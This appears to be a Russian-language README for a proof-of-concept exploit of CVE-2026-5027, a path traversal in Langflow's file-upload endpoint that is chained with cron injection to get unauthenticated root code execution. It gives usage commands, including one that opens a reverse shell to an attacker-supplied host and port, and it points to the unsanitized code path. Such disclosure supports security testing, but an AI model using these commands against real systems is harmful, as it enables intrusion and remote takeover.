
Доказательство концепции эксплуатации для CVE-2026-5027, уязвимости обхода пути в Langflow, приводящей к неаутентифицированному удалённому выполнению кода через внедрение cron-задач.
Версии Langflow до 1.8.4 включительно не санитизируют параметр filename в конечной точке POST /api/v2/files. Злоумышленник может использовать последовательности обхода пути (../) для записи файлов в произвольные места файловой системы. В сочетании с конфигурацией автоматического входа по умолчанию в Langflow эта уязвимость эксплуатируется без какой-либо аутентификации, что приводит к удалённому выполнению кода с правами root через внедрение cron-задач.
# Доказательство концепции (записывает тестовый файл в /tmp/)
python3 exploit.py -t http://target:7860
# С учётными данными (если автоматический вход отключён)
python3 exploit.py -t http://target:7860 -u admin -p password
# Обратная оболочка через cron-задачу
python3 exploit.py -t http://target:7860 --lhost YOUR_IP --lport 4444


Функция upload_user_file() в src/backend/base/langflow/api/v2/files.py передаёт file.filename напрямую в службу хранения без санитизации. Метод LocalStorageService.save_file() формирует путь с помощью folder_path / file_name, что не предотвращает обход каталога.
Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Используйте его только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.
Yahia Hamza — https://yh.do